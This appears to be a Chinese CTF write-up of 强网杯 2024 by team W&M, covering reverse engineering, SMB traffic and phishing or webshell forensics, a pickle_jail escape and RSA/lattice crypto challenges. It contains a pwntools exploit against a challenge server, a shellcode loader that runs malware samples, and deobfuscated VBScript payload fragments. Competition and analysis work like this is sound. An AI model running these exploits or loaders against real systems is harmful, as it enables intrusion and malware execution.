​ result = swap(inputflag, 12LL, 16LL);

xor的key可能的值

强网杯 2024 By W&M

RC4的加密部分是魔改的,采用爆破单字节的方式来解出flag

exp如下:

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>



void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j]; 
        s[j] = tmp;
    }
}
unsigned char* rc4(char* input, int xors) {
    unsigned char dead[4] = { 0xDE, 0xAD, 0xBE, 0xEF };
    unsigned char SBox[256] = { 0 }; 
    char key[256] = { "6105t3" };
    rc4_init(SBox, (unsigned char*)key, strlen(key));

    unsigned char temp_j = 0, temp_i = 0, s = 0, s2 = 0, os = 0;
    unsigned char* output = (unsigned char*)malloc(30);
    unsigned char temp=0, s0=0;
    
    for (int j = 0; j < 22; j++) {
        temp = SBox[++temp_j];
        temp_i += temp;
        SBox[temp_j] = SBox[temp_i];
        SBox[temp_i] = temp;
        s0 = ((((((input[j + 5] << 7) | (input[j + 5] >> 1)) << 6) ^ 0xC0) | ((((input[j + 5] << 7) | (input[j + 5] >> 1)) & 0xff) >> 2) ^ 0x3B) ^ 0xBE);
        os = ((((((((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) << 4) | (((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) >> 4)) ^ 0xDE) & 0xff) << 3) | (((((((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) << 4) | (((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) >> 4)) ^ 0xDE) & 0xff) >> 5));
        
        output[j] = SBox[(SBox[temp_j] + temp) & 0xff] ^ dead[j & 3] ^ os;

    }
    for (int i = 0; i < 22; i++) {
        output[i] ^= xors;
    }

    return output;
}

int main() {

    char inputflag[] = "flag{flag{dynamic_reverse}}";
    
    unsigned char result[] = { 0xc4,0xee,0x3c,0xbb,0xe7,0xfd,0x67,0x9d,0xf8,0x97,0x68,0x1d,0xdf,0x7f,0xc7,0x80,0xb,0xf9,0x4b,0xa0,0x46,0x91 };
    unsigned temp = 0;

    
    int k = 0xa;
    for (int i = 0; i < 22; i++) {
        for (int j = 0x30; j < 0x7f; j++) {
            inputflag[5 + i] = j;
            unsigned char* output = rc4((char*)inputflag, k);
            if (result[i] == output[i]) {
                inputflag[5 + i] = j;
                break;
            }
        }

    }

    printf("%s", inputflag);
    return 0;
}

boxx

400 = 20*20

九张地图

不是走迷宫 好像是推箱子 3是箱子 4是位置 2是人

手撸一下

路径都是比较简单的

最后输出是

恭喜你完成本次关卡!※
flag是每个关卡中每个箱子移动的最短的次数拼接的md5码值和几个字符,1.flag{四个字符_md5值},2.注意同一张图箱子不一定只有一 个哦3.同一关需要计算所有箱子的总的最小移动次数,将每一关的最短次数拼接  解释:例如第一关是3第二关是5,就是md5(35...)

有四个字符 很明显地图多了几张 输出出来就是

强网杯 2024 By W&M

强网杯 2024 By W&M

强网杯 2024 By W&M

强网杯 2024 By W&M

再加上路径推箱子的步数的md5值就是flag

推箱子地图就按照每个地图走就行了 再把结果整合一下

2 4+8 13 9 21 6+7 25 15+5+11 3

flag{qwb!_fec2d316d20dbacbe0cdff8fb6ff07b9}

MISC - 8

谍影重重

我国某部门已经连续三年对间谍张纪星进行秘密监控,最近其网络流量突然出现大量的神秘数据,为防止其向境外传送我国机密数据,我们已将其流量保存,请你协助我们分析其传输的秘密信息。
附件下载 提取码(GAME)备用下载

解smb,tom的密码爆出来是babygirl233

from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC

password = 'babygirl233'
passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
username = 'tom'
domain = '.'
ntProofStr = 'ca32f9b5b48c04ccfa96f35213d63d75'
sessionKey = '5643a37f253b00b2f52df1afd48c1514'

responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper(
)+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(
    keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))

但是我sessionkey算的不对不知道哪里错了,抄的脚本

原来没错,session是小端序

wireshark里面协议里面找smb2然后填:

id: 0900000000100000
key: a3abe4d64394909a641062342ffe291b

smb流量传输的东西:

暂时无法在飞书文档外展示此内容

暂时无法在飞书文档外展示此内容

暂时无法在飞书文档外展示此内容

pfx爆破获得密码,转成key,导入流量包,流量包用replay导出

强网杯 2024 By W&M

获得key,解压压缩包获得flag

<Space released>f'
<Shift pressed>{
<Shift released>windows
<Shift pressed>_
<Shift released>password
<Shift pressed>}
<Shift released>9347013182'
<Control pressed>s

密码babygirl2339347013182

强网杯 2024 By W&M

Master of DFIR - Phishing

  1. 受害者的邮箱是什么?

    请输入你的答案 > b9cae449f959162f0297fa43b458bd66

    正确✅!

强网杯 2024 By W&M

  1. 攻击者所投放的文件md5是什么? (注意:以md5sum的结果为准) 示例:33ec9f546665aec46947dca16646d48e

    请输入你的答案 > f436b02020fa59f3f71e0b6dcac6c7d3

    正确✅!

强网杯 2024 By W&M

  1. 攻击者所使用的攻击载荷后缀是什么? 示例:lnk

    请输入你的答案 > msc

    正确✅!

强网杯 2024 By W&M

强网杯 2024 By W&M

  1. 攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行? 示例:20

    请输入你的答案 > 97

    正确✅!

半蒙半猜就完事了

强网杯 2024 By W&M

  1. 经过初始执行后,攻击者所加载的第二部分载荷所使用的语言是什么? 示例:javascript

    请输入你的答案 > vbscript

    正确✅!

<ms:script implements-prefix="user" language="VBScript">
  1. 攻击者所进行的第二部分载荷其将白EXE存在了什么地方? (注意:需要提供完成的解混淆后的第二部分载荷s***s函数的参数) 提交需要MD5(参数内容) 以Cyberchef结果为准 示例:9b04d152845ec0a378394003c96da594

    请输入你的答案 > 69b23cfd967d07c39d1517e2a3c37e34

    正确✅!

慢慢手动解混淆就完事了,这道题要的在这里

Set aZPHxtz4=RTcxFmy.selectNodes( Chr(47)&Chr(&H4d)&Chr(77)&"C"&Chr(95)&Chr(Int("&H43"))&"o"&Chr(Int("110"))&Chr(&H73)&Chr(Int("111"))&"l"&Chr(&H65)&Chr(Int("&H46"))&"i"&Chr(5094-4986)&Chr(101)&Chr(Int("47"))&Chr(331-265)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(&H72)&Chr(Int("121"))&Chr(&H53)&Chr(116)&"o"&"r"&Chr(-1088+1185)&Chr(2152-2049)&Chr(266943/2643)&Chr(Int("47"))&Chr(-385+451)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(114)&Chr(Int("&H79"))&Chr(91)&"@"&Chr(Int("78"))&Chr(Int("97"))&Chr(&H6d)&Chr(&H65)&Chr(Int("&H3d"))&Chr(3877-3838)&Chr(Int("67"))&Chr(&H4f)&Chr(78)&Chr(83)&Chr(79)&Chr(Int("&H4c"))&Chr(Int("69"))&Chr(419-324)&"M"&Chr(Int("&H45"))&Chr(Int("78"))&"U"&Chr(Int("39"))&Chr(Int("&H5d")) ) 
Ze1C=aZPHxtz4(0).text
Set aZPHxtz4 = RTcxFmy.selectNodes( Chr(&H2f)&Chr(-1536+1613)&Chr(4928/64)&Chr(67)&Chr(345-250)&Chr(Int("67"))&Chr(111)&"n"&Chr(&H73)&Chr(Int("&H6f"))&Chr(&H6c)&Chr(Int("101"))&Chr(145110/2073)&Chr(&H69)&Chr(108)&Chr(Int("101"))&Chr(Int("&H2f"))&Chr(66)&Chr(&H69)&Chr(1514-1404)&Chr(Int("97"))&Chr(Int("&H72"))&Chr(Int("121"))&Chr(83)&Chr(212744/1834)&Chr(&H6f)&Chr(Int("114"))&Chr(Int("97"))&Chr(&H67)&Chr(-749+850)&Chr(-3015+3062)&Chr(Int("&H42"))&"i"&Chr(&H6e)&Chr(Int("&H61"))&Chr(114)&Chr(Int("&H79"))&Chr(Int("91"))&Chr(&H40)&Chr(Int("&H4e"))&Chr(&H61)&Chr(109)&Chr(101)&Chr(&H3d)&Chr(-548+587)&Chr(67)&Chr(Int("&H4f"))&Chr(3379-3301)&"S"&"O"&Chr(-1145+1221)&Chr(Int("&H45"))&"_"&Chr(-626+706)&Chr(Int("65"))&Chr(78)&"E"&Chr(39)&Chr(Int("93")) ) 
JozMh9jg=aZPHxtz4(0).text
WScript.Echo Chr(47)&Chr(&H4d)&Chr(77)&"C"&Chr(95)&Chr(Int("&H43"))&"o"&Chr(Int("110"))&Chr(&H73)&Chr(Int("111"))&"l"&Chr(&H65)&Chr(Int("&H46"))&"i"&Chr(5094-4986)&Chr(101)&Chr(Int("47"))&Chr(331-265)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(&H72)&Chr(Int("121"))&Chr(&H53)&Chr(116)&"o"&"r"&Chr(-1088+1185)&Chr(2152-2049)&Chr(266943/2643)&Chr(Int("47"))&Chr(-385+451)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(114)&Chr(Int("&H79"))&Chr(91)&"@"&Chr(Int("78"))&Chr(Int("97"))&Chr(&H6d)&Chr(&H65)&Chr(Int("&H3d"))&Chr(3877-3838)&Chr(Int("67"))&Chr(&H4f)&Chr(78)&Chr(83)&Chr(79)&Chr(Int("&H4c"))&Chr(Int("69"))&Chr(419-324)&"M"&Chr(Int("&H45"))&Chr(Int("78"))&"U"&Chr(Int("39"))&Chr(Int("&H5d"))

强网杯 2024 By W&M

  1. 攻击者使用的这个白EXE加载黑DLL的手法所对应的MITRE ATT&CK ID是什么? (注意:请注意示例的提示提交大类即可不需要细化到分项) 示例: T1000

    请输入你的答案 > T1574

    强网杯 2024 By W&M

  2. 攻击者所使用的黑DLL劫持了原始DLL的哪个函数? 示例: main

    请输入你的答案 > curl_easy_init

    正确✅!

一堆curl就curl_easy_init调用了函数,其他全都直接return

强网杯 2024 By W&M

  1. 攻击者所使用的黑DLL解密下一阶段载荷所使用的Key是什么? (注意:请提交一段小写的十六进制字符串) 示例:1122334455

    请输入你的答案 > f21a9d8b1e5d

    正确✅!

sub_10001240丢给gpt是魔改的rc4,直接让gpt搓出来key就行

强网杯 2024 By W&M

对应源码在这

强网杯 2024 By W&M

  1. 攻击者所使用的下一阶段载荷的回连C2是什么? (注意:需要提供ip地址:端口的形式)

    请输入你的答案 > 192.168.57.119:6000

    正确✅!

强网杯 2024 By W&M

  1. 攻击者所使用最终阶段载荷所使用的加密算法是什么? 示例:DES

    请输入你的答案 > aes

    正确✅!

根据User-Agent: orca/1.0,直接找到shellcode的项目https://github.com/Ptkatz/OrcaC2/tree/master/Orca_Master,翻一下源码就知道是aes了

  1. 攻击者所使用最终阶段载荷所使用的密钥的MD5是什么?

    请输入你的答案 > a524c43df3063c33cfd72e2bf1fd32f6

    手搓一个加载shellcode的东西,然后调试

int main(int argc, _TCHAR* argv[])
{
        FILE* fp = fopen("./1.bin", "rb");
        typedef void(*pfn)(void);
        fseek(fp, 0, SEEK_END);
        int shellcode_size = ftell(fp);
        fseek(fp, 0, SEEK_SET);
        auto pshellcode = (pfn)VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        fread(pshellcode, 1, shellcode_size, fp);
        fclose(fp);
        pshellcode();
}

单步调试shellcode,它会分配内存,再加载一个PE

强网杯 2024 By W&M

继续单步调试,key就会出现在VirtualAlloc分配的空间里了

强网杯 2024 By W&M

md5("pJB`-v)t^ZAsP$|r")

  1. 攻击者使用了什么家族的C2? 示例:PoshC2

    请输入你的答案 > OrcaC2

    正确✅!

接上上题

Master of DFIR - Coffee

  1. 受害者操作系统是什么版本?以C2回显为准 示例:Microsoft Windows 7 专业版

    请输入你的答案 > Microsoft Windows 10 教育版

直接让python搓个解密脚本即可

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64


def aes_cbc_decrypt(encrypted_data_b64, key_b64):
    """
    Decrypts data using AES CBC with PKCS#7 padding.

    Args:
        encrypted_data_b64: Base64 encoded ciphertext.
        key_b64: Base64 encoded key.

    Returns:
        Decrypted data as a string, or None if an error occurs.
    """
    try:
        encrypted_data = base64.b64decode(encrypted_data_b64)
        key = base64.b64decode(key_b64)

        iv = encrypted_data[:AES.block_size]
        ciphertext = encrypted_data[AES.block_size:]

        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted_data = unpad(cipher.decrypt(ciphertext), AES.block_size)

        return decrypted_data.decode('utf-8')  

    except (ValueError, KeyError) as e:  
        print(f"Decryption error: {e}")
        return None



encrypted_data_b64 = "your_base64_encoded_ciphertext_here"  
key_b64 = "pJB`-v)t^ZAsP$|r"  


decrypted_text = aes_cbc_decrypt(encrypted_data_b64, key_b64)

if decrypted_text:
    print("Decrypted text:", decrypted_text)
Decrypted text: {"SystemId":"9e4a7e9ebdd51913b5d724be14868e85","ClientId":"a55330f4-83c2-4081","Hostname":"DESKTOP-28DGVAU/Bob","Privilege":"admin","Ip":"192.168.100.143","ConnPort":"64251","Os":"Microsoft Windows 10 教育版","Version":"windows:0.10.9:386"}
Microsoft Windows 10 教育版
  1. 控制端ClientId是多少? 示例:c723d01b-5dc1-2601

    请输入你的答案 > a55330f4-83c2-4081

接上题

  1. 攻击者下载的文件的保存名是什么? 示例:flag.txt

    请输入你的答案 > history

Decrypted text: {"Fid":"962044b281aab4dd","SaveFileName":"history","SliceNum":3,"SliceSize":40960,"RemainSize":40960,"Md5sum":"1d6e440705fc0e76a9d09b6f6a750a9d"}
history
  1. tomcat的用户名和密码是多少? 示例:admin:admin

    请输入你的答案 > tomcat:beautiful

http.request || http.response.code==200

解get /manager/html返回包200的包的cookie

强网杯 2024 By W&M

  1. webshell的路径? 示例:/memshell/favicon.ico

    请输入你的答案 > /help/help.jsp

强网杯 2024 By W&M

  1. webshell中加密算法的密钥是什么,若有多个,以加密顺序用_连接 示例:keya_keyb

    请输入你的答案 > b42e327feb5d923b_82ca9b43c1b8ef8c

zip,解出来help.jsp是java马

强网杯 2024 By W&M

强网杯 2024 By W&M

  1. 被黑客窃取的云存储服务的管理员账户和密码是多少? 示例:admin:admin

    请输入你的答案 > hhcloud:vipvip123

加密丢给gpt搓解密

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import zlib


def decrypt_data(data):
    """Decrypts and decompresses data using a multi-step process."""
    try:
        
        decoded_data = base64.b64decode(data)

        
        xor_key = "82ca9b43c1b8ef8c".encode()
        xor_decrypted = bytearray()
        for i, byte in enumerate(decoded_data):
            xor_decrypted.append(byte ^ xor_key[(i + 1) % len(xor_key)])

        
        aes_key = "b42e327feb5d923b".encode("utf-8")
        cipher = AES.new(aes_key, AES.MODE_ECB)  
        aes_decrypted = unpad(cipher.decrypt(xor_decrypted), AES.block_size)

        
        decompressed_data = zlib.decompress(aes_decrypted)

        return decompressed_data

    except Exception as e:
        print(f"Decryption error: {e}")
        return None



encrypted_data_b64 = "QfRCJ0A4JIlk/nW13sR5UqBewyWOGm1wlpBFgmelNrecBJfszGCBwE+mjHMLy8f+jEUS/6l+jw2ySI2TKN6CTT5YuNFZdwATB0ncRj2TFUm5id5ePl/G4OXq7PNZebxH3QLA3T2IR0Mmmh2GJ2bZdbkgyaaX8X0J19Us90+s09bWz93ZOASu7qRq+fjuDvbXEZUbQ7K5b/aYsLutDBOtVnvHzv5iS0XDULkUYJo/Ix81vdqmPXew2KP1HUCwD227T0uXNnLU4ycFQ8+VF3U//KRIv3G5V5vmHPc0YhQaYQ9aEA7i65ghbF94iyxdYCyXCc9wTtUSyKC1ostGx0izzPP9ubt+7o43JJCYX3mZwRlPDbAKsvzgGorTu8GKm2p/"  

decrypted_data = decrypt_data(encrypted_data_b64)

if decrypted_data:
    print(f"Decrypted data: {decrypted_data.decode('utf-8')}")  

一个一个解过去,后面很大的一个返回包能解出个sqlite,密码cmd5查明文就好了

强网杯 2024 By W&M

  1. 挖矿程序落地的文件是什么? 示例:miner.exe

    请输入你的答案 > sys_update.exe

解256流读的文件列表,有个exe

b'.'
b'..'
b'.com_ibm_tools_attach'
b'.ses'
b'config.json'
b'cv_debug.log'
b'e.ps1'
b'edge_BITS_2604_1136515722'
b'edge_BITS_3284_1196656674'
b'edge_BITS_3284_337215403'
b'edge_BITS_3620_1149045325'
b'edge_BITS_368_90306922'
b'edge_BITS_4164_1864533882'
b'edge_BITS_4196_1668990188'
b'edge_BITS_4920_589744510'
b'edge_BITS_6232_2030857555'
b'edge_BITS_7652_1314319280'
b'edge_BITS_8144_1018489678'
b'edge_BITS_8144_120006752'
b'edge_BITS_8144_956156741'
b'edge_BITS_8328_1148727345'
b'edge_BITS_8460_1126298277'
b'edge_BITS_8460_1388783925'
b'edge_BITS_8460_1621258461'
b'edge_BITS_8460_1962247277'
b'edge_BITS_8460_6601089'
b'edge_BITS_9580_1421026687'
b'hsperfdata_web'
b'kccsdkbak'
b'sendMyDeviceReport'
b'sqlite-3.32.3.3-f90dc5a1-3ae2-4d5b-a8cb-eaf79c358348-sqlitejdbc.dll'
b'sqlite-3.41.2.2-83b399a0-bd68-4d1e-87f2-31d386fcc2cd-sqlitejdbc.dll'
b'sqlite-3.41.2.2-83b399a0-bd68-4d1e-87f2-31d386fcc2cd-sqlitejdbc.dll.lck'
b'sqlite-3.41.2.2-e8974c67-7a9c-4b5a-96fa-91b39d0f932a-sqlitejdbc.dll'
b'sqlite-3.41.2.2-e8974c67-7a9c-4b5a-96fa-91b39d0f932a-sqlitejdbc.dll.lck'
b'sys_update.exe'
b'tomcat-docbase.8080.1512511079812831623'
b'tomcat-docbase.8080.2272907564054824643'
b'tomcat.8080.1537643384302459463'
b'tomcat.8080.1621374646136287414'
b'tomcat.8080.2080744620786587989'
b'tomcat.8080.4582018531292635697'
b'tomcat.8080.4900681566228011329'
b'tomcat.8080.5815590060809683446'
b'tomcat.8080.7091869943617127699'
b'tomcat.8080.7757443727365353509'
b'tomcat.8080.7834407608489067612'
b'vmware-web'
b'wct2D9.tmp'
b'wct5633.tmp'
b'wct5634.tmp'
b'wct6648.tmp'
b'wct6818.tmp'
b'wct6819.tmp'
b'wct6A0B.tmp'
b'wct85DE.tmp'
b'wct86FD.tmp'
b'wct9328.tmp'
b'wctC1D0.tmp'
b'wctD6A.tmp'
b'wctDA54.tmp'
b'wctDA55.tmp'
b'wctE63D.tmp'
b'wctE891.tmp'
b'wctE8BF.tmp'
b'wctE98B.tmp'
b'wctF526.tmp'
b'wps'
  1. 该挖矿程序回连的矿池域名是什么? 示例:www.baidu.com

    请输入你的答案 > auto.skypool.xyz

257流url

强网杯 2024 By W&M

恭喜你完成了所有任务,这是你的flag 🚩

pickle_jail

https://zenn.dev/tchen/articles/5c446d9dbd9920#%E2%9C%85-lost-in-transit-(1126pts-18%2F715solves-%E3%82%AF%E3%83%AA%E3%82%A2%E7%8E%872.5%25)

原题

利用flag{}的}正好是EMPTY_DICT字节码,利用一个字节的+1将B改成C长度不同实现逃逸pickle字节码,构造三个元素的元组让unpickler返回

但是原题是构造 (, {}) 元组 这里只能构造 (name,,{}) 输出只能输出name

利用name in persons判断 把name构造成flag{开头的字符串 persons构造成包含flag的字符串 如果匹配成功 则会输出 joined this game, but here is no flag 以此测信道盲注 每次比较一个字节

除了0x0a长度的时候 readlines不能有\n 两个字节一起测避开0x0a长度(或者用lag{作为开头测这一字节也行,但你知道改这exp调长度多恶心吗?)

from pwn import *
import struct
context.log_level = 'debug'
def test(flag):
    
    io = remote('47.94.231.2', 32875)
    try:

        io.recvuntil(b'Play this game to get the flag with these players: ')
        names = io.recvuntil(b']',drop=False)

        names = eval(names)
        print(names)

        
        
        exp_length = len(b'\x94]\x94(C\x0200\x94C\x0201\x94C\x0202\x94C\x0203\x94C\x0204\x94C\x0205\x94C\x0206\x94C\x0207\x94C\x0208\x94C\x0209\x94C\x0210\x94C\x0211\x94C\x0212\x94C\x0213\x94C\x0214\x94C\x0215\x94C\x0216\x94C\x0217\x94C\x0218\x94C\x0219\x94C\x0220\x94C\x0221\x94C\x0222\x94C\x0223\x94C\x0224\x94C\x0225\x94C\x0226\x94C\x0227\x94C\x0228\x94C\x0229\x94C\x0230\x94C\x0231\x94C\x0232\x94C\x0233\x94C\x0234\x94C\x0235\x94C\x0236\x94C\x0237\x94C\x0238\x94C\x0239\x94C\x0240\x94C\x0241\x94C\x0242\x94C\x0243\x94C\x0244\x94C\x0245\x94C\x0246\x94C\x0247\x94C\x0248\x94C\x0249\x94h\x00e\x8c*flag{41d6a881-19df-4f66-b84b-00513a00478f')
        
        length = exp_length+249 - (2*50) + sum([len(name) for name in names]) - len(flag)

        print(length)

        pl = b""

        
        pl += b'A' * (0x2c-3)

        pl += (
        b'B' + struct.pack('<I', len(flag)) + flag +
        b"B" 
        +struct.pack('<I', length) 
        )

        
        pl += b'2' * (300 - len(pl))


        print(pl)

        io.send(pl)
        io.sendline(b'\x0b')

        result = io.recvuntil(b"Break this jail to get the flag!")
        assert b'What happened? IDK...' not in result
        result = b'joined this game, but here is no flag!' in result
        return result
    finally:
        io.close()

def main():
    flag = b'flag{'
    while 1:
        
        
        if len(flag) == (0xa-1):
            flag += b'd'
            continue
        for i in '0123456789abcdef-':
            local_flag = flag + i.encode()  
            if test(local_flag):
                flag = local_flag
                print(flag)
                break
        else:
            print('not found')
            print(flag)
            break
main()

givemesecret

强网杯 2024 By W&M

CRYPTO - 4

21_steps

求汉明重量

https://stackoverflow.com/questions/15233121/calculating-hamming-weight-in-o1

https://math.stackexchange.com/questions/2254151/is-there-a-general-formula-to-generate-all-numbers-with-a-given-binary-hamming

上面那个是32bit的 看评论找找有没有泛用的代码

128bit方法:

https://stackoverflow.com/questions/30688465/how-to-check-the-number-of-set-bits-in-an-8-bit-unsigned-char/68355962#68355962

用gpt改写

command = "B=A>>1;B=B&38597363079105398474523661669562635951089994888546854679819194669304376546645;A=A-B;B=A&23158417847463239084714197001737581570653996933128112807891516801582625927987;A=A>>2;A=A&23158417847463239084714197001737581570653996933128112807891516801582625927987;A=A+B;B=A>>4;A=A+B;A=A&6811299366900952671974763824040465167839410862684739061144563765171360567055;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;B=A&127;A=B^0;"

apbq

part1

paq = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
n1 = 89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589
p_q = gmpy2.iroot(paq**2-4*n1, 2)[0]
p1 = (paq+p_q)//2
q1 = n1//p1
e1 = 65537
d1 = inverse(e1, (p1-1)*(q1-1))
c1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
print(long_to_bytes(pow(c1, d1, n1)))

part2

https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/crypto/apbq-rsa-ii/solve/solv.sage

V = hints =
k = 2 ^ 800
n = 
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]

for s, t in itertools.product(range(4), repeat=2):
    T = s*B[0] + t*B[1]
    print(T)
    a1, a2, a3 = T[:3]
    kq = gcd(a1 * hints[1] - a2 * hints[0], n)
    if 1 < kq < n:
        print('find!', kq, s, t)
        break
for i in range(2**16, 1, -1):
    if kq % i == 0:
        kq //= i
q = int(kq)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
print(p, q)

part3

用part2的密钥解。。。

traditional_game

关键代码为

random.seed(secret + str(int(time.time())).encode())

rsa = RSA()
token = os.urandom(66) 

print( "[+] Welcome to the game!")
print(f"[+] rsa public key: {rsa.get_public_key()}")

coins = 100
price = 100
while coins > 0:
    print("=================================")
    b = random.randint(0,1)
    c = rsa.game(
        b'bit 0:' + os.urandom(114), 
        b'bit 1:' + os.urandom(114), 
        b)
    print("[+] c:",c)
    guessb = int(input("[-] b:"))
    coins -= 1
    if guessb == b:
        price -= 1
        print("[+] correct!") 
    else: 
        print("[+] wrong!") 

if price != 0: 
    print("[-] game over!")
    exit()

oracle中给了交互,相当于能够知道使用当前seed生成的100个32bit随机数的最低位。而seed与seed之间存在高byte相同(并且中间的time部分高位已知),可以尝试以此为切入点进行分析。

注意到time带了int,此时part1直接双进程交互,一个拿一个交

from hashlib import sha256
from pwn import *
context.log_level = 'debug'
import re
import gmpy2
import libnum

a = remote('47.94.237.181',30782)
b = remote('47.94.237.181',30782)

b.recvuntil(b'rsa public key: ')
pubkey = eval(b.recvline())

for i in range(100):
    a.recvuntil(b'[-] b:')
    b.recvuntil(b'[-] b:')
    a.sendline(b'1')
    if b'correct' in a.recvline():
        b.sendline(b'1')
    else:
        b.sendline(b'0')

b.recvuntil(b'is: ')
privkey = eval(b.recvline()[:-2])
b.recvuntil(b'is: ')
enc = eval(b.recvline())

b.recvuntil(b'guess token:')

print('n = ',pubkey[0])
print('e = ',pubkey[1])
print('enc = ',enc)
print('d_ = ',privkey[0])
print('blind = ',privkey[1])

b.sendline(input().encode())
b.recv()
b.recv()
b.recv()

k是固定的,可以使用密码赛11题类似的方法求出,验证代码如下

n = 72002775317113688540285467671785030264214376134969177894386312150568554267864510238114124791103314081013890542077634384796996108441641259367491852737439283875815904913961193178967651247603461327324881612452957271602668892013627196968069470178106537853725618118244679187226724369629568003877232335388143025421
e = 315877627939914682167275979171048924911

d_ = 51922392037054965957994618792545191283979879052769311017420397943569729387241291615967860347543490837943194867963559620326233806950203605430695561698099370379711352056567716185665995739452373593820321078614603310911807288759647808038104413677259085086482871151447742963730089791217336473149711277887953445987
dh = d_>>365<<365

print(dh*e//n)
print((((d_>>365)+2^40)<<365)*e//n)
k = dh*e//n+1

由于式子的说服力不大,copper跑出来的解一定是非唯一解,还要补一个p+q高位攻击,然后上面的d的式子感觉有问题,因为d_l是d%blind,和我写的式子里的dl%blind非等价,因此我这里换了一种构造,有d=d'+tblind,t取365位,这样就直接变成一个二元copper了

p = getPrime(512)
q = getPrime(512)
e = getPrime(128)
d = inverse_mod(e,(p-1)*(q-1))
k = (d_>>365<<365)*e//n+1
n = p*q
print((e*d-1)/(p-1)/(q-1))

blind_bit = 40
unknown_bit = 365

blind = getPrime(40)
d_ = ((int(d >> unknown_bit) // blind * blind) << unknown_bit) + int(d % blind)
k = (d_>>365<<365)*e//n+1
print(k)

PR.<t,y> = PolynomialRing(Zmod(n))
dd= d_+t*blind

f = e * dd-1-k+k*y

res = small_roots(f,[2^121,2^513],m=3,d=3)
print(res)

二元以后式子就变成了f=ed_+etblind-1-k+ky=ky+etblind+A,这里的解显然是非唯一的,我们从中读取p+q的高位,随后打出mod e*blind下的低位即可使用p高低位分解n

from Crypto.Util.number import *

p = getPrime(512)
q = getPrime(512)
e = getPrime(128)
d = inverse_mod(e,(p-1)*(q-1))
n = p*q
print((e*d-1)/(p-1)/(q-1))

blind_bit = 40
unknown_bit = 365

blind = getPrime(40)
d_ = ((int(d >> unknown_bit) // blind * blind) << unknown_bit) + int(d % blind)
k = (d_>>365<<365)*e//n+1
print(k)

PR.<y> = PolynomialRing(GF(e))
dd= d_+(2^364+t)*blind

f = e * d_-1-k+k*y-k*n
f = f.monic()
ans1 = (f.roots())[0][0]

PR.<y> = PolynomialRing(GF(blind))
dd= d_+(2^364+t)*blind

f = e * d_-1-k+k*y-k*n
f = f.monic()
ans2 = (f.roots())[0][0]

sl = crt([int(ans1),int(ans2)],[e,blind])
from Crypto.Util.number import *

p = getPrime(512)
q = getPrime(512)
e = getPrime(128)
d = inverse_mod(e,(p-1)*(q-1))
n = p*q
print((e*d-1)/(p-1)/(q-1))

blind_bit = 40
unknown_bit = 365

blind = getPrime(40)
d_ = ((int(d >> unknown_bit) // blind * blind) << unknown_bit) + int(d % blind)
k = (d_>>365<<365)*e//n+1
print(k)

PR.<y> = PolynomialRing(GF(e))
dd= d_+(2^364+t)*blind

f = e * d_-1-k+k*y-k*n
f = f.monic()
ans1 = (f.roots())[0][0]
g = y*ans1-y^2-n
ans1 = (g.roots())

PR.<y> = PolynomialRing(GF(blind))
dd= d_+(2^364+t)*blind

f = e * d_-1-k+k*y-k*n
f = f.monic()
ans2 = (f.roots())[0][0]
g = y*ans2-y^2-n
ans2 = (g.roots())

pl = []
for i in ans1:
    for j in ans2:
        pl.append(crt([int(i[0]),int(j[0])],[e,blind]))

PR.<t,y> = PolynomialRing(Zmod(n))
dd= d_+t*blind
f = e * dd-1-k+k*y

res = small_roots(f,[2^365,2^513],m=3,d=3)
sh = (Integer(res[0][1])//(2^240*(e*blind))*(2^240*(e*blind)))

sh,sl = int(sh),int(sl)
R.<x> = PolynomialRing(RR)
f = x*sh-x^2-n
for i in (f.roots()):
    print(int(i[0])//(2^295*(e*blind)))
    print(p//(2^295*(e*blind)))
    print(q//(2^295*(e*blind)))

print(pl)

print(p%(e*blind))
print(q%(e*blind))
